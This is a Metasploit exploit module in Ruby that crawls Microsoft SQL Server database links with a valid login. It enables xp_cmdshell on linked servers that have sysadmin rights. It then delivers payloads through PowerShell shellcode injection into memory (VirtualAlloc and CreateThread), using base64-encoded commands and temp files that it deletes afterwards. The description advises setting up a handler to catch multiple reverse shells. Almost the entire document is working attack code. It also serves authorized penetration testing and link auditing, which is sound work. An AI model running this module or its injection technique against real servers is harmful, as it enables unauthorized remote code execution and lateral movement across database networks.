Microsoft SQL Server Database Link Crawling Command Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/mssql_commands'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::MSSQL
    include Msf::Auxiliary::Report
    include Msf::Exploit::CmdStagerVBS

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft SQL Server Database Link Crawling Command Execution',
            'Description'    => %q{
                    This module can be used to crawl MS SQL Server database links and deploy
                Metasploit payloads through links configured with sysadmin privileges using a
                valid SQL Server Login.

                    If you are attempting to obtain multiple reverse shells using this module we
                recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
                up a multi/handler to run in the background as a job to support multiple incoming
                shells.

                    If you are interested in deploying payloads to spefic servers this module also
                supports that functionality via the "DEPLOYLIST" option.

                    Currently, the module is capable of delivering payloads to both 32bit and 64bit
                Windows systems via powershell memory injection methods based on Matthew Graeber's
                work. As a result, the target server must have powershell installed. By default,
                all of the crawl information is saved to a CSV formatted log file and MSF loot so
                that the tool can also be used for auditing without deploying payloads.
            },
            'Author'         =>
                [
                    'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
                    'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
                ],
            'Platform'      => [ 'win' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
                    ['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
                    ['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
                ],
            'Platform'       => 'win',
            'DisclosureDate' => 'Jan 1 2000',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                ],
            'DefaultTarget'  => 0
        ))

        register_options(
            [
                OptBool.new('DEPLOY',       [false, 'Deploy payload via the sysadmin links', 'false']),
                OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
                OptString.new('PASSWORD',   [true, 'The password for the specified username'])
            ], self.class)

        register_advanced_options(
            [
                OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
            ], self.class)
    end

    def exploit
        # Display start time
        time1 = Time.new
        print_status("-------------------------------------------------")
        print_status("Start time : #{time1.inspect}")
        print_status("-------------------------------------------------")

        # Check if credentials are correct
        print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

        if (not mssql_login_datastore)
            print_error("Invalid SQL Server credentials")
            print_status("-------------------------------------------------")
            return
        end

        # Define master array to keep track of enumerated database information
        masterList = Array.new
        masterList[0] = Hash.new            # Define new hash
        masterList[0]["name"] = ""            # Name of the current database server
        masterList[0]["db_link"] = ""        # Name of the linked database server
        masterList[0]["db_user"] = ""         # User configured on the database server link
        masterList[0]["db_sysadmin"] = ""    # Specifies if  the database user configured for the link has sysadmin privileges
        masterList[0]["db_version"] = ""    # Database version of the linked database server
        masterList[0]["db_os"] = ""            # OS of the linked database server
        masterList[0]["path"] = [[]]        # Link path used during crawl - all possible link paths stored
        masterList[0]["done"] = 0            # Used to determine if linked need to be crawled

        shelled = Array.new                    # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system

        # Setup query for gathering information from database servers
        versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
        (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
        (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
        CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
        -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
        master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"

        # Create loot table to store configuration information from crawled database server links
        linked_server_table = Rex::Ui::Text::Table.new(
            'Header'  => 'Linked Server Table',
            'Ident'   => 1,
            'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
        )
        save_loot = ""

        # Start crawling through linked database servers
        while masterList.any? {|f| f["done"] == 0}
            # Find the first DB server that has not been crawled (not marked as done)
            server = masterList.detect {|f| f["done"] == 0}

            # Get configuration information from the database server
            sql = query_builder(server["path"].first,"",0,versionQuery)
            result = mssql_query(sql, false) if mssql_login_datastore
            parse_results = result[:rows]
            parse_results.each { |s|
                server["name"] = s[0]
                server["db_user"] = s[1]
                server["db_sysadmin"] = s[5]
                server["db_version"] =  s[3]
                server["db_os"] = s[4]
                server["numlinks"] = s[6]
            }
            if masterList.length == 1
                print_good("Successfully connected to #{server["name"]}")
                if datastore['VERBOSE'] == true
                    show_configs(server["name"],parse_results,true)
                elsif server["db_sysadmin"] == 1
                    print_good("Sysadmin on #{server["name"]}")
                end
            end
            if server["db_sysadmin"] == 1
                enable_xp_cmdshell(server["path"].first,server["name"],shelled)
            end

            # If links were found, determine if they can be connected to and add to crawl list
            if (server["numlinks"] > 0)
                # Enable loot
                save_loot = "yes"

                # Select a list of the linked database servers that exist on the current database server
                print_status("")
                print_status("-------------------------------------------------")
                print_status("Crawling links on #{server["name"]}...")
                # Display number db server links
                print_status("Links found: #{server["numlinks"]}")
                print_status("-------------------------------------------------")
                execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
                sql = query_builder(server["path"].first,"",0,execute)
                result = mssql_query(sql, false) if mssql_login_datastore

                result[:rows].each {|name|
                    name.each {|name|

                        # Check if link works and if sysadmin permissions - temp array to save orig server[path]
                        temppath = Array.new
                        temppath = server["path"].first.dup
                        temppath << name

                        # Get configuration information from the linked server
                        sql = query_builder(temppath,"",0,versionQuery)
                        result = mssql_query(sql, false) if mssql_login_datastore

                        # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
                        if result[:errors].empty? and result[:rows] != nil then
                            # Assign db query results to variables for hash
                            parse_results = result[:rows]

                            # Add link server information to loot
                            link_status = 'up'
                            write_to_report(name,server,parse_results,linked_server_table,link_status)

                            # Display link server information in verbose mode
                            if datastore['VERBOSE'] == true
                                show_configs(name,parse_results)
                                print_status("  o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
                            else
                                if parse_results[0][5] == 1
                                    print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
                                else
                                    print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
                                end
                            end

                            # Add link to masterlist hash
                            unless masterList.any? {|f| f["name"] == name}
                                masterList << add_host(name,server["path"].first,parse_results)
                            else
                                (0..masterList.length-1).each do |x|
                                    if masterList[x]["name"] == name
                                        masterList[x]["path"] << server["path"].first.dup
                                        masterList[x]["path"].last << name
                                        unless shelled.include?(name)
                                            if parse_results[0][2]==1
                                                enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
                                            end
                                        end
                                    else
                                        break
                                    end
                                end
                            end
                        else
                            # Add to report
                            linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']

                            # Display status to user
                            if datastore['VERBOSE'] == true
                                print_status(" ")
                                print_error("Linked Server: #{name} ")
                                print_error("  o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
                                print_status("    Failure could be due to:")
                                print_status("    - A dead server")
                                print_status("    - Bad credentials")
                                print_status("    - Nested open queries through SQL 2000")
                            else
                                print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
                            end
                        end
                    }
                }
            end
            # Set server to "crawled"
            server["done"]=1
        end

        print_status("-------------------------------------------------")

        # Setup table for loot
        this_service = nil
        if framework.db and framework.db.active
            this_service = report_service(
                :host  => rhost,
                :port => rport,
                :name => 'mssql',
                :proto => 'tcp'
            )
        end

        # Display end time
        time1 = Time.new
        print_status("End time : #{time1.inspect}")
        print_status("-------------------------------------------------")

        # Write log to loot / file
        if (save_loot=="yes")
            filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
            path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
            print_status("Results have been saved to: #{path}")
        end
    end

    # ---------------------------------------------------------------------
    # Method that builds nested openquery statements using during crawling
    # ---------------------------------------------------------------------
    def query_builder(path,sql,ticks,execute)

        # Temp used to maintain the original masterList[x]["path"]
        temp = Array.new
        path.each {|i| temp << i}

        # Actual query - defined when the function originally called - ticks multiplied
        if path.length == 0
            return execute.gsub("'","'"*2**ticks)

        # openquery generator
        else
            sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
            return sql
        end
    end

    # ---------------------------------------------------------------------
    # Method that builds nested openquery statements using during crawling
    # ---------------------------------------------------------------------
    def query_builder_rpc(path,sql,ticks,execute)

        # Temp used to maintain the original masterList[x]["path"]
        temp = Array.new
        path.each {|i| temp << i}

        # Actual query - defined when the function originally called - ticks multiplied
        if path.length == 0
            return execute.gsub("'","'"*2**ticks)

        # Openquery generator
        else
            exec_at = temp.shift
            sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
            return sql
        end
    end

    # ---------------------------------------------------------------------
    # Method for adding new linked database servers to the crawl list
    # ---------------------------------------------------------------------
    def add_host(name,path,parse_results)

        # Used to add new servers to masterList
        server = Hash.new
        server["name"] = name
        temppath = Array.new
        path.each {|i| temppath << i }
        server["path"] = [temppath]
        server["path"].first << name
        server["done"] = 0
        parse_results.each {|stuff|
            server["db_user"] = stuff.at(1)
            server["db_sysadmin"] = stuff.at(2)
            server["db_version"] =  stuff.at(3)
            server["db_os"] = stuff.at(4)
            server["numlinks"] = stuff.at(6)
        }
        return server
    end

    # ---------------------------------------------------------------------
    # Method to display configuration information
    # ---------------------------------------------------------------------
    def show_configs(i,parse_results,entry=false)

        print_status(" ")
        parse_results.each {|stuff|

            # Translate syadmin code
            status = stuff.at(5)
            if status == 1 then
                dbpriv = "sysadmin"
            else
                dbpriv = "user"
            end

            # Display database link information
            if entry == false
                print_status("Linked Server: #{i}")
                print_status("  o Link user: #{stuff.at(1)}")
                print_status("  o Link privs: #{dbpriv}")
                print_status("  o Link version: #{stuff.at(3)}")
                print_status("  o Link OS: #{stuff.at(4).strip}")
                print_status("  o Links on server: #{stuff.at(6)}")
            else
                print_status("Server: #{i}")
                print_status("  o Server user: #{stuff.at(1)}")
                print_status("  o Server privs: #{dbpriv}")
                print_status("  o Server version: #{stuff.at(3)}")
                print_status("  o Server OS: #{stuff.at(4).strip}")
                print_status("  o Server on server: #{stuff.at(6)}")
            end
        }
    end

    # ---------------------------------------------------------------------
    # Method for generating the report and loot
    # ---------------------------------------------------------------------
    def write_to_report(i,server,parse_results,linked_server_table,link_status)
        parse_results.each {|stuff|
            # Parse server information
            db_link_user = stuff.at(1)
            db_link_sysadmin = stuff.at(2)
            db_link_version =  stuff.at(3)
            db_link_os = stuff.at(4)

            # Add link server to the reporting array and set link_status to 'up'
            linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]

            return linked_server_table
        }
    end

    # ---------------------------------------------------------------------
    # Method for enabling xp_cmdshell
    # ---------------------------------------------------------------------
    def enable_xp_cmdshell(path,name,shelled)
        # Enables "show advanced options" and xp_cmdshell if needed and possible
        # They cannot be enabled in user transactions (i.e. via openquery)
        # Only enabled if RPC_Out is enabled for linked server
        # All changes are reverted after payload delivery and execution

        # Check if "show advanced options" is enabled
        execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'show advanced options'"
        sql = query_builder(path,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore
        saoOrig = result[:rows].pop.pop

        # Check if "xp_cmdshell" is enabled
        execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
        sql = query_builder(path,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore
        xpcmdOrig = result[:rows].pop.pop

        # Try blindly to enable "xp_cmdshell" on the linked server
        # Note:
        # This only works if rpcout is enabled for all links in the link path.
        # If that is not the case it fails cleanly.
        if xpcmdOrig == 0
            if saoOrig == 0
                # Enabling show advanced options and xp_cmdshell
                execute = "sp_configure 'show advanced options',1;reconfigure"
                sql = query_builder_rpc(path,"",0,execute)
                result = mssql_query(sql, false) if mssql_login_datastore
            end

            # Enabling xp_cmdshell
            print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
            execute = "sp_configure 'xp_cmdshell',1;reconfigure"
            sql = query_builder_rpc(path,"",0,execute)
            result = mssql_query(sql, false) if mssql_login_datastore
        end

        # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
        execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
        sql = query_builder(path,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore
        xpcmdNow = result[:rows].pop.pop

        if xpcmdNow == 1 or xpcmdOrig == 1
            print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
            if datastore['DEPLOY']
                print_status("Ready to deploy a payload #{name}")
                if datastore['DEPLOYLIST']==""
                    datastore['DEPLOYLIST'] = nil
                end
                if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
                    print_status("\t - Checking if #{name} is on the deploy list...")
                end
                if datastore['DEPLOYLIST'] != nil
                    deploylist = datastore['DEPLOYLIST'].upcase.split(',')
                end
                if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
                    if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
                        print_status("\t - #{name} is on the deploy list.")
                    end
                    unless shelled.include?(name)
                        powershell_upload_exec(path)
                        shelled << name
                    else
                        print_status("Payload already deployed on #{name}")
                    end
                elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
                    print_status("\t - #{name} is not on the deploy list")
                end
            end
        else
            print_error("\t - Unable to enable xp_cmdshell on " + name)
        end

        # Revert soa and xp_cmdshell to original state
        if xpcmdOrig == 0 and xpcmdNow == 1
            print_status("\t - Disabling xp_cmdshell on " + name)
            execute = "sp_configure 'xp_cmdshell',0;reconfigure"
            sql = query_builder_rpc(path,"",0,execute)
            result = mssql_query(sql, false) if mssql_login_datastore
        end
        if saoOrig == 0 and xpcmdNow == 1
            execute = "sp_configure 'show advanced options',0;reconfigure"
            sql = query_builder_rpc(path,"",0,execute)
            result = mssql_query(sql, false) if mssql_login_datastore
        end
    end

    # ----------------------------------------------------------------------
    # Method that delivers shellcode payload via powershell thread injection
    # ----------------------------------------------------------------------
    def powershell_upload_exec(path)

        # Create powershell script that will inject shell code from the selected payload
        myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"

        # Unicode encode powershell script
        mytext_uni = Rex::Text.to_unicode(myscript)

        # Base64 encode unicode
        mytext_64 = Rex::Text.encode_base64(mytext_uni)

        # Generate random file names
        rand_filename = rand_text_alpha(8)
        var_duplicates = rand_text_alpha(8)

        # Write base64 encoded powershell payload to temp file
        # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
        # Also, line number tracking was added so that duplication lines caused by nested linked
        # queries could be found and removed.
        print_status("Deploying payload...")
        linenum = 0
        mytext_64.scan(/.{1,2500}/).each {|part|
            execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
            sql = query_builder(path,"",0,execute)
            result = mssql_query(sql, false) if mssql_login_datastore
            linenum = linenum+1
        }

        # Remove duplicate lines from temp file and write to new file
        execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
        sql = query_builder(path,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore

        # Remove tracking tags from lines
        execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
        sql = query_builder(path,"",0,execute)
        result = mssql_query(sql, false) if mssql_login_datastore

        # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
        # If running on 64bit system, 32bit powershell called from syswow64
        powershell_cmd =  "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
        '*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
        -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
        powershell_uni = Rex::Text.to_unicode(powershell_cmd)
        powershell_64 = Rex::Text.encode_base64(powershell_uni)

        # Setup query
        execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
        sql = query_builder(path,"",0,execute)

        # Execute the playload
        print_status("Executing payload...")
        result = mssql_query(sql, false) if mssql_login_datastore
        # Remove payload data from the target server
        execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
        sql = query_builder(path,"",0,execute)
        result = mssql_query(sql,false)
    end
end